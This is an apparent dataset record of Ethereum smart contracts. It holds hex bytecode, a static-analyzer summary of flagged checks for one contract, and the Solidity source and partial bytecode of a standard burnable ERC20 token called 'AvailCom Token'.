14cfb70af620b50836040518082815260200191505060405180910390a260019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156114d757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f79237486c2354fc0c561f08e5671b784dbbf0cbf122349cf28e7308136526dae60405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116535780601f1061162857610100808354040283529160200191611653565b820191906000526020600020905b81548152906001019060200180831161163657829003601f168201915b505050505081565b600460009054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006116b7336123da565b15156116c257600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561171a57600080fd5b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f5ddadbfb5e5a8af3a12e5a94f0ab739b0a1ebf2bcff72c4230f44234b752feae6000604051808215151515815260200191505060405180910390a260019050919050565b60006117d9336123da565b15156117e457600080fd5b600460009054906101000a900460ff1615151561180057600080fd5b6001600460006101000a81548160ff0219169083151502179055507fd8190a2ce0d6dcda1ae8f96bd08ee72ea15c7e241a0f241908038138c9a3b9e060405160405180910390a16001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ab57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156118e757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb924308dae7985345e5cc02c5f052e63e1deb61975088d10c84db131117e3db060405160405180910390a381600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119b8426119b36007603c612443565b612471565b60028190555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a825780601f10611a5757610100808354040283529160200191611a82565b820191906000526020600020905b815481529060010190602001808311611a6557829003601f168201915b505050505081565b60025481565b6000611a9b336123da565b1515611aa657600080fd5b611ab1303384612914565b503373ffffffffffffffffffffffffffffffffffffffff167f511ccee1be7622147d7a336f4933782955abf82fdc7ab027a6c59b9d815f4b2f836040518082815260200191505060405180910390a260019050919050565b6000611b16338484612914565b905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b6000600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0857600080fd5b611c1182612712565b1515611c1c57600080fd5b60006003611c2984612a32565b815481101515611c3557fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f590e4b56e9e11eeec961dbbb248740c7f6b1aff7bd715dc75c76323bb2995e2160405160405180910390a260019050919050565b6000611cd5336123da565b1515611ce057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611d1c57600080fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611d7557600080fd5b611d7e8361248a565b151515611d8a57600080fd5b601260ff16600a0a6317d7840002611da4600f5484612471565b11151515611db157600080fd5b611e0382600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247190919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5b8260095461247190919063ffffffff16565b600981905550611e7682600f5461247190919063ffffffff16565b600f819055508273ffffffffffffffffffffffffffffffffffffffff167fdc0e81936680a9e275bf3361400512a01894b3cf7091db0c1e21d94ef0dc528d836040518082815260200191505060405180910390a26001905092915050565b600080849050611ee48585610dc4565b15612049578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611fde578082015181840152602081019050611fc3565b50505050905090810190601f16801561200b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561202c57600080fd5b6102c65a03f1151561203d57600080fd5b5050506001915061204a565b5b509392505050565b60056020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561212557600080fd5b6002544211151561213557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fa658d47e6ffdd7cc5e1fe15ed072f85c802862735ebb92ecc682dab91fd07a9560405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b600b602052816000526040600020602052806000526040600020600091509150505481565b60006122ad336123da565b15156122b857600080fd5b6122c1826123da565b1515156122cd57600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561232657600080fd5b6001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f5ddadbfb5e5a8af3a12e5a94f0ab739b0a1ebf2bcff72c4230f44234b752feae6001604051808215151515815260200191505060405180910390a260019050919050565b60006123e582612712565b8061243c57508173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b600081830290506000831480612463575081838281151561246057fe5b04145b151561246b57fe5b92915050565b6000818301905082811015151561248457fe5b92915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156124dd57600190506124de565b5b919050565b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561257057600080fd5b6125ff82600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fb90919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268a848484612914565b503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f09bae8ed0fcf87787d69c23f77d5a7fe74d2c19be8463912bc5551d048813735856040518082815260200191505060405180910390a4600190509392505050565b600080600090505b600560ff168160ff1610156127ae578273ffffffffffffffffffffffffffffffffffffffff1660038260ff1681548110151561275257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156127a357600191506127af565b80600101905061271a565b5b50919050565b600080600090505b600560ff168160ff16101561285257600073ffffffffffffffffffffffffffffffffffffffff1660038260ff168154811015156127f657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156128475760019150612853565b8060010190506127bd565b5b5090565b600080600090505b600560ff168160ff1610156128f657600073ffffffffffffffffffffffffffffffffffffffff1660038260ff1681548110151561289857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156128eb578060ff1691506128f7565b80600101905061285f565b5b5090565b600082821115151561290957fe5b818303905092915050565b600061291f336123da565b151561294257600460009054906101000a900460ff1615151561294157600080fd5b5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561299b57600080fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156129f457600080fd5b6129fd8461248a565b151515612a0957600080fd5b612a128361248a565b151515612a1e57600080fd5b612a29848484612ad7565b90509392505050565b600080600090505b600560ff168160ff161015612ad0578273ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612a7257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612ac5578060ff169150612ad1565b806001019050612a3a565b5b50919050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515612b1657600080fd5b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612b6457600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bed600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485612471565b111515612bf957600080fd5b612c81600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612471565b9050612cd583600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fb90919063ffffffff16565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d6a83600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247190919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167ff51ac9361330b8b5120b4f20740309667afff70d6a4e9c238596dfa3ddc50aaa856040518082815260200191505060405180910390a380612e9b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612471565b141515612ea457fe5b600191505093925050505600a165627a7a72305820d4fca15678273a1277c2f9d8b7821af09ebef54440617875e28b0cf472490a160029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,619 |
0x85bC2cbC49A0C6C7Cb3775BDA1845d606bff8ADa
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
}
}
contract AvailComToken is BurnableToken, Ownable {
string public constant name = "AvailCom Token";
string public constant symbol = "AVL";
uint32 public constant decimals = 4;
constructor () public {
// 0000 is added to the totalSupply because decimal 4
totalSupply_ = 22000000000000;
balances[msg.sender] = totalSupply_;
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd1461021657806327e235e31461029b578063313ce567146102f257806342966c6814610329578063661884631461035657806370a08231146103bb578063715018a61461041257806379cc6790146104295780638da5cb5b1461047657806395d89b41146104cd578063a9059cbb1461055d578063d73dd623146105c2578063dd62ed3e14610627578063f2fde38b1461069e575b600080fd5b34801561010257600080fd5b5061010b6106e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061071a565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b5061020061080c565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610816565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b50610307610be9565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561033557600080fd5b5061035460048036038101908080359060200190929190505050610bee565b005b34801561036257600080fd5b506103a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfb565b604051808215151515815260200191505060405180910390f35b3480156103c757600080fd5b506103fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e8d565b6040518082815260200191505060405180910390f35b34801561041e57600080fd5b50610427610ed5565b005b34801561043557600080fd5b50610474600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fda565b005b34801561048257600080fd5b5061048b611182565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d957600080fd5b506104e26111a8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610522578082015181840152602081019050610507565b50505050905090810190601f16801561054f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056957600080fd5b506105a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e1565b604051808215151515815260200191505060405180910390f35b3480156105ce57600080fd5b5061060d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611401565b604051808215151515815260200191505060405180910390f35b34801561063357600080fd5b50610688600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115fd565b6040518082815260200191505060405180910390f35b3480156106aa57600080fd5b506106df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611684565b005b6040805190810160405280600e81526020017f417661696c436f6d20546f6b656e00000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108f057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561092c57600080fd5b61097d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ec90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a10826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ec90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60006020528060005260406000206000915090505481565b600481565b610bf83382611721565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610d0d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da1565b610d2083826116ec90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561106557600080fd5b6110f481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ec90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117e8282611721565b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f41564c000000000000000000000000000000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561123057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561126c57600080fd5b6112bd826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ec90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff